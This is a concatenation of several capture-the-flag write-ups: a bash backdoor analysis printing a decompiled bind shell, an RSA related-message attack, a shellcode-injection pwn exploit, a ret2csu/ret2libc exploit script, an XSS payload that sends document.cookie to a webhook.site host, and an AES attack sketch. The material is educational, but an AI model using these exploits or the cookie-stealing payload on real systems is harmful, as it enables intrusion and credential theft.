0LL; memset( (void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4096) >> 3)); *v0 = 0xDBEF3510A9ECE437LL; v0[1] = 0xB557D3ED25ADEB3FLL; *((_BYTE *)v0 + 16) = 40; decrypt_string(v0, 17); v1 = fopen_0(v0, "r"); if ( !v1 ) exit_0(0LL); v2 = v1; v3 = sh_malloc(1024LL, "shell.c", 645LL); v4 = 8; ```This function is called as an init vector by `__libc_csu_init`, before `main` function is called. The backdoor checks if bash is being debugged by looking for TracerPid field in `/proc/self/status`. The strings are encrypted with a simple algorithm, I reimplemented in Python.```python def decryptbuf(s): outpt = b"" key = 24 for i in range(len(s)): outpt += bytes([s[i] ^ key]) key = (4*key + 52) % 243 return outpt ```Then it checks if `/home/anon/.profile` file exists, and exits if it's not the case. After that, the backdoor tries to read 32 bytes from `/proc/self/fd/777`. Now, the real fun begins. ## Custom crypto and Feistel ciphers The contents of /proc/self/fd/777 is transformed by some encryption algorithm, and then checked against the ciphertext. The decompiled algorithm looks like this:```c mysterious_array[0] = 0xE9B554BCBF7A0351LL;mysterious_array[1] = 0x200A845B757AFF88LL;mysterious_array[2] = 0x392848A34339A3EELL;mysterious_array[3] = 0x21F8E1C664355C7CLL;v9 = strlen((const char *)buffd) + 1;bufread = (char *)buffd;// snipped some uninteresting partscount = 0LL;while ( 1 ){ v17 = count; if ( strlen(bufread) <= count ) break; seed1 = *(_DWORD *)&bufread[count]; seed2 = *(unsigned int *)&bufread[count + 4]; watconst2[0] = 1361583988; watconst2[1] = -1740780829; watconst2[2] = -1681248625; watconst2[3] = -1992688973; j_1 = 0; while ( 1 ) { v14 = seed1 + watconst2[j_1 & 3] + seed2 + j_1 + (((unsigned int)seed2 >> 8) ^ ((_DWORD)seed2 << 6)); ++j_1; seed1 = seed2; if ( j_1 == 48 ) break; seed2 = v14; } count += 8LL; if ( mysterious_array[v17 / 8] != (seed2 << 32) + v14 ) { print_free(watconst, "shell.c", 563LL); goto LABEL_10; }} ```By looking at the final check `mysterious_array[v17 / 8] != (seed2 << 32) + v14`, we can see that fhe first 32 upper bytes of the "mysterious_array" are the "state2", untouched, while the 32 lower bytes are computed with the "state2". The encryption algorithm does 48 rounds of the following transformation (reimplemented in Python), where j is the round number: ```python def do_feistel_pass(j, seed1, seed2): tmp = (seed1 + watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff))) & 0xffffffff return (seed2, tmp) def encrypt_data(x): seed1, seed2 = struct.unpack("<II", x[0:8]) for j in range(48): seed1, seed2 = do_feistel_pass(j, seed1, seed2) return (seed1, seed2) ```This algorithm can be inverted, since we know seed2 thank to the way it's compared to the "mysterious_array". We just need to take care of additions, which are truncated to 32 bits, which discards the additions overflow. So, the decryption function looks like this:```python def undo_feistel_pass(j, seed2, tmp): while True: blup = watconst[j & 3] + seed2 + j + ((seed2 >> 8) ^ ((seed2 << 6) & 0xffffffff)) pass1 = tmp - blup if pass1 > 0: break tmp += 0x100000000 return (pass1, seed2) def decrypt_data(x): seed2, tmp = ((x >> 32), x & 0xffffffff) for i in range(47, -1, -1): seed2, tmp = undo_feistel_pass(i, seed2, tmp) return struct.pack("<II", seed2, tmp) ```So, after running it on our "mysterious_array" variable:```python bufd = b""for i in range(0, 32, 8): bufd += do_unhash_block(mysterious_array[i >> 3]) ```We get the string that unlocks the "first" backdoor, and will serve as a key for the next step: `eY3HmR6knwflbc1nsq0ILP9KZYQ8DTn`. The next steps decrypts another ELF file with some sort of Salsa20 (thanks the magic consts), but I gave up analyzing it and just dumped the decrypted bin with gdb from a coredump after having patched the binary with int3 instruction after. ## Analysis of the second stage The second stage uses the same trick used by the "bash" binary, which places a part of entrypoint on the ".data" section. The main function just calls the decryption function with argv[1]. The decryption function looks like this:```c __int64 __fastcall do_the_hustle(char *serial){ __m128i *key; // rbp _QWORD *v2; // r12 _QWORD *v3; // r13 serial[31] = 0; key = (__m128i *)calloc_0(4096LL, 1LL); *key = _mm_load_si128(xmmword_5060); key->m128i_i8[0] ^= 0x18u; key->m128i_i8[1] ^= 0x94u; key->m128i_i8[2] ^= 0x9Eu; key->m128i_i8[3] ^= 0xC6u; key->m128i_i8[4] ^= 0x73u; key->m128i_i8[5] ^= 0x1Au; key->m128i_i8[6] ^= 0x9Cu; key->m128i_i8[7] ^= 0xBEu; key->m128i_i8[8] ^= 0x53u; key->m128i_i8[9] ^= 0x8Du; key->m128i_i8[10] ^= 0x82u; key->m128i_i8[11] ^= 0x56u; key->m128i_i8[12] ^= 0x99u; key->m128i_i8[13] ^= 0xB2u; key->m128i_i8[14] ^= 0x23u; key->m128i_i8[15] ^= 0xC0u; v2 = (_QWORD *)malloc_0(); v3 = (_QWORD *)malloc_0(); serpent_encrypt(serial, (__int64)key, (__int64)v2, 0x10u); if ( *v2 ^ 0x9601AAF388AB0192LL | v2[1] ^ 0x2127591BB4E06735LL ) return send_backdoor_status(0); serpent_encrypt((_DWORD *)serial + 4, (__int64)key, (__int64)v3, 0x10u); if ( *v3 ^ 0x582C4E2FDC6C7226LL | v3[1] ^ 0xC00B8862110C7A9DLL ) return send_backdoor_status(0); send_backdoor_status(1); free_0(v2); return free_0(v3);} ```The Serpent encryption key is just "Dh1IuM7SV7xgZP8q" with some XOR obfuscation. The "hard" part was to identify correctly the algorithm, mais thanks to the secret technique of searching S-Boxes on Google, I came across a chinese blog (https://ctf.njupt.edu.cn/271.html), that contained the interesting S-Box ```0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D```` This blog gave the CTF challenge's name it was taken from ("Touch of Satan"), and thanks to my OSINT skills, I found another chinese blog (https://blog.csdn.net/qq_38867330/article/details/102922423) that identified it as Serpent. So I grabbed some ancient Python2 Serpent lib, tweaked it to make it run on Python 3, and after running```python import serpentz = serpent.Serpent(b"Dh1IuM7SV7xgZP8q")bin = struct.pack("<QQQQ", 0x9601AAF388AB0192, 0x2127591BB4E06735, 0x582C4E2FDC6C7226, 0xC00B8862110C7A9D)print(z.decrypt(bin)) ```I got the key `0NSlH7m8C91boiGq10NtQKq4aP7mVyJ` ## Bash backdoor Pt. II Since the previous binary does nothing except sending flag status through a FIFO pipe, we need to find another part of the backdoor in the bash binary. After losing time digging into the binary (which probably costed me the first blood for this challenge ?), I found some `getenv("JAKWEULOD")` in the binary, that isn't present into official bash source code. The function doing the getenv is called at the beginning of the "parse_and_execute", patched to run the backdoor. Let's have a look to the added code:```c v3 = backdoor_enabled;if ( backdoor_enabled ) { if ( ~(strlen((const char *)a1) + 1) == ~0x29uLL && !(unsigned int)memcmp_0(a1, "1+2+3+4+5", 9LL) ) { ((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9); v6 = sh_malloc(4096LL, "evalstring.c", 194LL); *(_QWORD *)(v6 + 4088) = 0LL; // v6 = mkfifo path from the other binary, snipped bc noisy string obfu mkfifo_0(v6, 438LL); v9 = open_0(v6, 0LL); buf[0] = 0LL; buf[1] = 0LL; read_0(v9, buf, 1); close_0(v9); print_free(v6, "evalstring.c", 511LL); if ( LOBYTE(buf[0]) == 1 ) { xmmword_14F320 = (__int128)_mm_loadu_si128((const __m128i *)(a1 + 9)); qword_14F330 = *(_QWORD *)(a1 + 25); dword_14F338 = *(_DWORD *)(a1 + 33); word_14F33C = *(_WORD *)(a1 + 37); byte_14F33E = *(_BYTE *)(a1 + 39); backdoor_activation((const char *)(a1 + 9)); }} ```The backdoor is triggered when entering "1+2+3+4+5" followed by the string we found before. The `((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9)` function spawns the decrypted binary we analyzed thanks to a memfd, with the string we got as a parameter. So we can trigger the code with the command ```1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ``` With that, we can reach `backdoor_activation` which call some crypto func with `0NSlH7m8C91boiGq10NtQKq4aP7mVyJ` as key to decrypt the function which will check the "JAKWEULOD" variable environment:```c void __fastcall backdoor_activation(const char *key){ __int64 v1; // rbp const char *v2; // rax const __m128i *v3; // rbx v1 = mmap_0(0LL, 98323, 7, 34, 0, 0); cryptoshit_again((__int64)key, (__int64)&unk_12B000, v1, 98323LL, strlen(key)); v2 = (const char *)getenv("JAKWEULOD"); if ( v2 ) { v3 = (const __m128i *)v2; if ( ~(strlen(v2) + 1) == ~65LL && ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2) == 1 ) { kk1 = (__int128)_mm_loadu_si128(v3); xmmword_14F430 = (__int128)_mm_loadu_si128(v3 + 1); xmmword_14F440 = (__int128)_mm_loadu_si128(v3 + 2); unk_14F450 = _mm_loadu_si128(v3 + 3); sub_89675(); fork_and_spawn(); } } munmap_0(v1, 98323LL);} ``` Since I'm lazy, I attempted to patch the binary with an "int3" breakpoint, but bash sets up its own sighandler and catches int3, so I landed in to the sighandler func. To avoid this, I replaced the "int3" by a "jmp $0" (`"\xeb\xfe\"`), and dumped the content of the allocated buffer after calling the crypto function after attaching to the process with gdb. The allocated buffer is called as function to check "JAKWEULOD" contents: `((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2)`. The checking algorithm is pretty simple: it does a modular exponentiation on each char of the variable and check if the results equals a certain value. Unfortunately the modulus isn't a prime number, but since the modulus is small we can do dumb bruteforce to determine the correct char:```python def bf_char(n, p, res): selected = -1 for i in range(0x10, 0x7f): if pow(i, n, p) == res: if selected == -1: selected = i else: print("Other candidate %d" % i) return selected ``` I was too lazy to make a script to extract the exponent, modulus and the powmod value so I did by hand (fortunately b33r helps to do boring tasks) to compute the JAKWEULOD value. So after running the script which looks like this: ```python def bf_char(n, p, res): selected = -1 for i in range(0x10, 0x7f): if pow(i, n, p) == res: if selected == -1: selected = i else: print("Other candidate %d" % i) return selected flag = bytearray(b"-"*65) elts = [ (0x7b7bc, 0x3fa, 0x6af18, 4), (0x3fbeb, 0x2a1, 0xd56d, 0xd),# snipped (0x3dbca, 0x377, 0x5de6, 0x10) ] for e in elts: c = bf_char(e[1], e[0], e[2]) #print(hex(e[3])) flag[e[3]] = c print(len(elts))print(flag)pos = [hex(i) for i in range(len(flag)) if flag[i] == ord("-")]print(pos) ```we get the correct value for the env var: `mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh`. As usual, this value is a key to decrypt the next payload, but once again the `jmp $0` trick will help us and we can dump the "final" stage: ```c void fork_and_spawn(){ __m128i *key; // rbx __int64 v1; // rax _BYTE v2[1648]; // [rsp-1CF8h] [rbp-DD10h] BYREF __int64 v3; // [rsp-1688h] [rbp-D6A0h] BYREF _QWORD v4[5841]; // [rsp-688h] [rbp-C6A0h] BYREF while ( &v3 != &v4[-6144] ) ; v4[5631] = __readfsqword(0x28u); memcpy_0(v2, &unk_ECB08, 50784); key = (__m128i *)sh_malloc(64LL, "evalstring.c", 401LL); key->m128i_i64[0] = 0LL; key->m128i_i64[1] = 0LL; key[1].m128i_i64[0] = 0LL; key[1].m128i_i64[1] = 0LL; key[2].m128i_i64[0] = 0LL; key[2].m128i_i64[1] = 0LL; key[3].m128i_i64[0] = 0LL; key[3].m128i_i64[1] = 0LL; *key = _mm_load_si128((const __m128i *)&xmmword_14F220); key[1] = _mm_load_si128((const __m128i *)&xmmword_14F230); key[2] = _mm_load_si128((const __m128i *)&xmmword_14F240); key[3] = _mm_load_si128((const __m128i *)&xmmword_14F250); v1 = sh_malloc(50784LL, "evalstring.c", 404LL); cryptoshit_again((__int64)key, (__int64)v2, v1, 50784LL, 64LL); while ( 1 ) // jmp $0 rocks :þ ;} ```We finally see the end of the tunnel, and dump the dropped ELF with gdb after attaching to the process. ## Final flash After having dumped the ELF, we open it on IDA. This time, no weird tricks and IDA shows us the main function directly. The main function is useless because it just calls "sudoedit" with shitty arguments. But remember, init functions can be called by `__libc_csu_init`, and it's the case here. We have a `setup` function, which does this:```c int __fastcall setup(__int64 a1, __mode_t a2){ FILE *s; // [rsp+8h] [rbp-8h] FILE *sa; // [rsp+8h] [rbp-8h] mkdir("libnss_X", a2); s = fopen("libnss_X/A .so.2", "w"); fwrite(&libData, 1uLL, 0x4080uLL, s); fclose(s); sa = fopen("/tmp/shellbind", "w"); fwrite(&shellData, 1uLL, 0x4300uLL, sa); return fclose(sa);} ``` Luckily for me, I analyzed the "shellbind" binary, and after seening its main function: ```c bind(fd, &addr, 0x10u);listen(fd, 0);v8 = accept(fd, 0LL, 0LL);v9 = recv(v8, buf, 0x28uLL, 0);if ( buf[v9 - 1] == 10 ) buf[v9 - 1] = 0;for ( i = 0; i <= 37; ++i ) buf[i] ^= 0x59u;if ( !strcmp(buf, &unk_2008) ){ dup2(v8, 2); dup2(v8, 1); dup2(v8, 0); execve("/bin/sh", 0LL, 0LL);} ```I found the password of the backdoor: ```python s = bytes.fromhex("183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24") print(bytes([x ^ 0x59 for x in s])) ``` Which gives us the flag: `Aero{49b181387f50935b39a00850b778c66f}`
# war(sa)mup **Category**: Crypto \**Points**: 102 (95 solves) \**Author**: theoldmoon0602 ## Challenge Do you know RSA? I know. \Attachments: `warsamup.tar.gz` ## Solution Here's the task: ```pythonfrom Crypto.Util.number import getStrongPrime, GCDfrom random import randintfrom flag import flagimport os def pad(m: int, n: int): # PKCS#1 v1.5 maybe ms = m.to_bytes((m.bit_length() + 7) // 8, "big") ns = n.to_bytes((n.bit_length() + 7) // 8, "big") assert len(ms) <= len(ns) - 11 ps = b"" while len(ps) < len(ns) - len(ms) - 3: p = os.urandom(1) if p != b"\x00": ps += p return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big") while True: p = getStrongPrime(512) q = getStrongPrime(512) n = p * q phi = (p-1)*(q-1) e = 1337 if GCD(phi, e) == 1: break m = pad(int.from_bytes(flag, "big"), n)c1 = pow(m, e, n)c2 = pow(m // 2, e, n) print("n =", n)print("e =", e)print("c1=", c1)print("c2=", c2)``` The `pad` function looks interesting, but since both `c1` and `c2` use the samepadded message, it doesn't seem to matter. Knowing that, it seems like the[Franklin-Reiter related message attack](https://crypto.stackexchange.com/q/30884)will work. The only twist is this: `c2 = pow(m // 2, e, n)`.- If `m` is even, then `m == (m // 2) * 2`- If `m` is odd, then `m == (m // 2) * 2 + 1` To check if `m` is even or odd, we can do this:```pythonassert c1 != (c2 * pow(2, e, n)) % n``` Now we know `m` is odd and:```pythonassert c2 == pow((m - 1) // 2, e, n) two_inv = inverse_mod(2, n)assert c2 == pow(two_inv * (m - 1), e, n)``` Therefore the polyonmials we use for Franklin-Reiter's attack are:```pythonf1 = X^e - c1f2 = (two_inv * (X - 1))^e - c2``` Here's my solution:```pythonimport Crypto.Util.number as cun n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089e = 1337c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 # c1 = pow(m, e, n)# c2 = pow(m // 2, e, n) two_inv = inverse_mod(2, n)# We know c1 != (c2 * pow(2, e, n)) % n# Therefore m is odd and:# c2 = pow((m - 1) // 2, e, n)# c2 = pow(two_inv * (m - 1), e, n) R.<X> = Zmod(n)[]f1 = X^e - c1f2 = (two_inv * (X - 1))^e - c2 # GCD is not implemented for rings over composite modulus in Sagedef pgcd(f, g): while g: r = f % g f, g = g, r return f.monic() ans = -pgcd(f1, f2).coefficients()[0]ans = cun.long_to_bytes(ans)i = ans.rfind(b"\x00")ans = ans[i + 1:]print(ans)``` Output:```$ sage solve.sageb'zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}'```
# Not Beginner's Stack **Category**: Pwn \**Points**: 81 (162 solves) \**Author**: ptr-yudai ## Challenge Elementary pwners love to overwrite the return address. This time you can't! \`nc pwn.ctf.zer0pts.com 9011` Attachments: `not_beginners_stack.tar.gz` ## Solution Here's the source code:```asmglobal _startsection .text %macro call 1;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth];; goto function jmp %1 %%return_address:%endmacro %macro ret 0;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8]%endmacro _start: call notvuln call exit notvuln:;; char buf[0x100]; enter 0x100, 0;; vuln(); call vuln;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read;; return 0; xor eax, eax ret vuln:;; char buf[0x100]; enter 0x100, 0;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read;; return; leave ret read: xor eax, eax syscall ret write: xor eax, eax inc eax syscall ret exit: mov eax, 60 syscall hlt section .datamsg_data: db "Data: "__stack_depth: dd 0 section .bss__stack_shadow: resb 1024``` Looks like there's some crazy stuff going on when calling functions. Lets readthe included `FOR_BEGINNERS.md` document. ```markdown## 3. Design of This ChallengeIn this challenge, the program defines own `call`/`ret` instructions.... It doesn't save the return address on the stack but saves it into an array at the bss section.Since we don't have the return address on the stack, the attacker can't abuse stack overflow to overwrite the return address :) ## 4. HintSo, you can't simply overwrite the return address.As mentioned in Chapter 2, the attacker can overwrite not only the return address but also the saved base pointer.What can an attacker do by overwriting the base pointer? Also, don't forget to check the security mechanism of the program (i.e. SSP, DEP and PIE).``` Wow, this is definitely a unique challenge. Let's try `checksec`:```$ checksec chall[*] '/home/plushie/Programs/zer0pts/not_beginners_stack/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments``` Cool, so there are 0 mitigations in place. First let's make some pseudocode:```cvoid start() { notvuln() exit()} int notvuln() { char buf[0x100]; vuln(); write(1, "Data: ", 6); read(0, buf, 0x100); return 0;} int vuln() { char buf[0x100]; write(1, "Data: ", 6); read(0, buf, 0x1000); // [!] vulnerability return;}``` Let's follow the author's advice and try overwriting `rbp` in `vuln()`. ```pythonimport pwn io = pwn.process("./chall") if pwn.args.GDB: # breakpoints: # 0x4001d4: vuln.leave # 0x400138: after notvuln.write # 0x400165: after notvuln.read pwn.gdb.attach( io, gdbscript="""break *0x4001d4break *0x400138break *0x400165continue """, ) # Sets $rbp to 0xdeadbeefpayload = b"A" * 0x100 + pwn.p64(0xDEADBEEF)io.sendlineafter("Data: ", payload)io.interactive()``` Let's run this and see what happens. At the first breakpoint, we can see that`$rbp` is indeed set to `0xdeadbeef`. At the second breakpoint, we are about tocall `read(0, buf, 0x100)`:![a.png](a.png) Notice anything weird? `$rbp = 0xdeadbeef`, so we're about to call `read(0, 0xdeadbeef - 0x100, 0x100)` Since we have complete control over `$rbp`, we can write 0x100 (256) bytes ofdata anywhere we want. What's the best place to do that? Let's check the memorymappings: ![vmmap.png](vmmap.png) The `.bss` section is always at `0x600000` and is readable, writable, andexecutable! That means we can write shellcode into it and later execute it. Nowthe final piece is to hijack control flow to jump into our shellcode. Conveniently enough, the return addresses are also stored in the `.bss` section.We can get the address of the return address stack like so```pythonpwn.context.binary = elf = pwn.ELF("chall")stack_shadow = elf.symbols["__stack_shadow"] # 0x600234``` So all we have to do is overwrite a return address there and set it to theaddress of our shellcode. After some fiddling around with cyclic strings tocalculate offsets, the final exploit looks like this:```pythonimport pwn if pwn.args.LOCAL: io = pwn.process("./chall")else: io = pwn.remote("pwn.ctf.zer0pts.com", 9011) if pwn.args.GDB: # breakpoints: # 0x4001d4: vuln.leave # 0x400138: after notvuln.write # 0x400165: after notvuln.read pwn.gdb.attach( io, gdbscript="""break *0x4001d4break *0x400138break *0x400165continue """, ) pwn.context.binary = elf = pwn.ELF("chall")stack_shadow = elf.symbols["__stack_shadow"]print(hex(stack_shadow)) """Exploit:- Overwrite $rbp to set address for an arbitrary write - The address we'll use is `__stack_shadow`- Overwrite return address in `__stack_shadow` to control $rip- Jump into shellcode also stored on .bss, which is RWX""" # Part 1: Overwrite $rbp with to later write into `__stack_shadow` address # RBP 0x636161706361616f ('oaacpaac')offset = pwn.cyclic_find("oaac")print(offset) # lea rsi, [rbp-0x100]# rbp - 0x100 = stack_shadow# rbp = stack_shadow + 0x100 payload = b"A" * offset + pwn.p64(stack_shadow + 0x100)io.sendlineafter("Data: ", payload) # Part 2: Overwrite return address in `__stack_shadow` to jump into our# shellcode pwn.context.arch = "amd64"binsh = pwn.asm(pwn.shellcraft.sh())binsh_addr = pwn.p64(0x600244) payload = b"B" * pwn.cyclic_find(0x61616163)payload += binsh_addr + binshio.sendlineafter("Data: ", payload)io.interactive()```
# Web Utils### Made by: BrownieInMotion, Jim Challenge text:```My friend made this dumb tool; can you try and steal his cookies? If you send me a link, I can pass it along.```We were also given the zipped folder [app](app). The website was a combination of a URL "shortener" and a Pastebin. You could create both links and pastes, but links had to start with `http(s)://`. After creating either you got a URL that looked something like this `https://web-utils.dicec.tf/view/y00cs353`. It used the `/view/` endpoint for both links and pastes, which is a bit odd. Your data was loaded using this JS:```js(async () => { const id = window.location.pathname.split('/')[2]; if (! id) window.location = window.origin; const res = await fetch(`${window.origin}/api/data/${id}`); const { data, type } = await res.json(); if (! data || ! type ) window.location = window.origin; if (type === 'link') return window.location = data; if (document.readyState !== "complete") await new Promise((r) => { window.addEventListener('load', r); }); document.title = 'Paste'; document.querySelector('div').textContent = data;})()```It basically gets the last part of the URL, and asks the API for the data associated with it. The API doen't do anything special, it simply returns the `data` and `type`. If the type is a link, it changes the window.location to the data, otherwise it displays the paste data by changing the `textContent`. When you change `textContent`, the browser does no parsing, which means you can't inject scripts in a paste no matter how hard you try. Because of this along with the fact that both pastes and links shared the same endpoint I assumed my goal was to create a `javascript:` link. The problem was that links *had* to start with `http(s)://`, and `https://javascript:alert(1);` doesn't work. There also wasn't a way to create a paste with a link type, as this was done server-side. A normal request payload when you create a paste is JSON formatted and looks like this: `{"data":"Paste content!"}`. However on the server we see that it calls the `database.addData` with an object as an argument with the type set to "paste", our request content and the id. The anomaly here is that instead of inputting `req.body.data`, it uses the JS [spread operator](https://oprea.rocks/blog/what-do-the-three-dots-mean-in-javascript/) on the entire `req.body`. We can recreate that in our own file.```jsconst uid = 'randUID1' let reqbody = { data: "Paste content!"} let db_obj = { type: 'paste', ...reqbody, uid } console.log(db_obj);```The output of this is: `{ type: 'paste', data: 'Paste content!', uid: 'randUID1' }` However, due to the nature of how spread works, we can overwrite the type by changing the reqbody. If we change reqbody to```{ data: "Paste content!", type: "link"}```The output will be `{ type: 'link', data: 'Paste content!', uid: 'randUID1' }`. This allows us to create links that don't start with `http(s)://`. Knowing this we can create a `javascript:` link. ```pyimport jsonimport requests payload = { "data": "javascript:window.location='https://webhook.site/c0b95a39-1d3f-4636-bcdb-6816c1908c05?c=%27+document.cookie", "type": "link"} print(requests.post('https://web-utils.dicec.tf/api/createPaste', data=json.dumps(payload), headers={'content-type': 'application/json'}).text)```Response: `{"statusCode":200,"data":"2d5yEcsR"}` We then send the admin bot the link to our paste, and we see their cookie which is the flag `dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}`.
## Challenge "FizzBuzz101: Who wants to write a ret2libc" `nc dicec.tf 31924` [babyrop](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/babyrop/babyrop) ## Recon ```shell$ file babyropbabyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a721f8e2550d74dddcaae7e8754bff9095e3488d, for GNU/Linux 3.2.0, not stripped``` ```shell$ checksec babyrop[*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/babyrop/babyrop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)``` Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique, such as **ret2libc**. But the challenge descriptions clearly says this isn't about ret2libc, so there must be some nuance here. ## Pseudocode `main`: ```cint __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [rsp+0h] [rbp-40h] write(1, "Your name: ", 0xBuLL); gets(&v4;; return 0;}``` ## Analysis This challenge looks like a typical ret2libc (with ret2write), **but we don't have the ability to control `rdx`**. To leak the address of `write@GOT` from libc, we have to call something like `write(1, write_got, 8)`. But the lack of control on `rdx` makes address leakage impossible, so **ret2libc fails for this challenge**. In such case, we should try **ret2csu**. Disassemble the target binary: ```shell$ objdump -M intel -d babyrop > disassembly.asm``` Examine the CSU gadgets from disassembly: **CSU gadget 1:** ```assembly 4011ca: 5b pop rbx 4011cb: 5d pop rbp 4011cc: 41 5c pop r12 4011ce: 41 5d pop r13 4011d0: 41 5e pop r14 4011d2: 41 5f pop r15 4011d4: c3 ret``` This CSU gadget helps us set up the values in: - `rbx`- `rbp`- `r12`- `r13`- `r14`- `r15` However, this isn't enough because we only care about setting up `rdx`, hence we need another CSU gadget. **CSU gadget 2:** ```assembly 4011b0: 4c 89 f2 mov rdx,r14 4011b3: 4c 89 ee mov rsi,r13 4011b6: 44 89 e7 mov edi,r12d 4011b9: 41 ff 14 df call QWORD PTR [r15+rbx*8] 4011bd: 48 83 c3 01 add rbx,0x1 4011c1: 48 39 dd cmp rbp,rbx 4011c4: 75 ea jne 4011b0 <__libc_csu_init+0x40> 4011c6: 48 83 c4 08 add rsp,0x8 4011ca: 5b pop rbx 4011cb: 5d pop rbp 4011cc: 41 5c pop r12 4011ce: 41 5d pop r13 4011d0: 41 5e pop r14 4011d2: 41 5f pop r15 4011d4: c3 ret``` The essence in this CSU gadget is `mov rdx,r14`, which allows us to control the value in `rdx` eventually. The idea is: 1. **Push a series of carefully prepared values onto the stack.**2. **Call CSU gadget 1 => the values that we pushed onto the stack get popped into each register. In particular, we want `r14 = 8`.**3. **Call CSU gadget 2 => `mov rdx,r14` sets `rdx = 8`.** But be careful: 1. **CSU gadget 2 contains an instruction `cmp rbp,rbx`. Right before it, there is `add rbx,0x1`. Therefore, to bypass this check, we can simply set `rbx=0` and `rbp=1`.**2. **CSU gadget 2 and CSU gadget 1 share the exactly same `ret` instruction. When calling CSU gadget 2, we want it to reach that `ret` as well. Here we can pass some junk values `b"B" * 56` to overwrite the content between `0x4011c6` and `0x4011d2` (the overlapped CSU gadget 1 content). There are 7 instructions, each of them is 8-byte long, so we need 56 bytes of junk values in total.** ## Exploit ```python=1#!/usr/bin/env python3from pwn import * #-------------## Preparation |#-------------# # Remote serverhost = "dicec.tf"port = 31924 # Binary filecontext.arch = "amd64"elf = ELF("babyrop", checksec=False) # Fuzzingoffset = 72 # Local vs. remote switchlocal = Falseif local: r = elf.process()else: r = remote(host, port) #-------------------------------------## Step 1: Leak write_got with ret2csu |#-------------------------------------# # Function addresseswrite_got = elf.got["write"]main = elf.sym["main"] # CSU gadgetscsu1 = 0x4011cacsu2 = 0x4011b0 # Helper function for generating ret2csu payloaddef csu(rbx, rbp, r12, r13, r14, r15, ret): payload = flat( b"A" * offset, csu1, rbx, rbp, r12, r13, r14, r15, # r12 = rdi; r13 = rsi; r14 = rdx csu2, b"B" * 56, ret, ) return payload # Call write(rdi=1, rsi=write.got, rdx=8)payload1 = csu(rbx=0, rbp=1, r12=1, r13=write_got, r14=8, r15=write_got, ret=main) # Leak write@GOT address from libcr.sendlineafter("Your name: ", payload1)write_leak = u64(r.read(6).ljust(8, b"\x00"))log.info(f"write_leak: {hex(write_leak)}") # [*] write_leak: 0x7f1c2d4df1d0 #-----------------------------------------## Step 2: Search offsets in libc database |#-----------------------------------------# # Search the offset of "write" in libc database and compute libc base addresswrite_offset = 0x1111d0libc_base = write_leak - write_offsetsystem = libc_base + 0x055410bin_sh = libc_base + 0x1b75aa #----------------------## Step 3: Get shell!!! |#----------------------# # ROPgadget --binary babyrop --only "pop|ret" | grep rdipop_rdi = 0x00000000004011d3# ROPgadget --binary babyrop --only "ret"ret = 0x000000000040101a payload2 = flat( b"A" * offset, pop_rdi, bin_sh, ret, system,) r.sendlineafter("Your name: ", payload2)r.interactive()``` ## Flag ```plaintextdice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}```
tldr;- the three ciphers are AES-ECB, AES-CBC, AES-CFB- security of the keys are 24 bits each- AES-CFB is a stream cipher that encrypts/decrypts data by by encrypting an IV with AES, then XORing the result with the plaintext/ciphertext- we have access to a encryption and decryption oracle- firstly, obtain a plaintext/ciphertext pair $(p, c, IV_1, IV_2)$- next, guess the 2^24 possible keys and ask the oracle to decrypt $(c \oplus E_{k_3}(IV_2) \oplus E_{k_3}(r), IV_1, r)$ for some arbitrary $r$- if the key guess is correct, the result will be the same as our original plaintext $p$- a problem is that 2^24 takes way too long (and there's a timeout), so instead just guess up to 2^16 and run the script many many times. it works with ~1/256 probability- this takes ages on the remote, so set up a few droplets in the same region as the server and wait a while...- perform a meet-in-the-middle attack to recover the other two keys (complexity is 2^25) there are much better solutions (see hellman's writeup or #ctf-challenges in the cryptohack discord server) that don't involve an excessive number of oracle requests 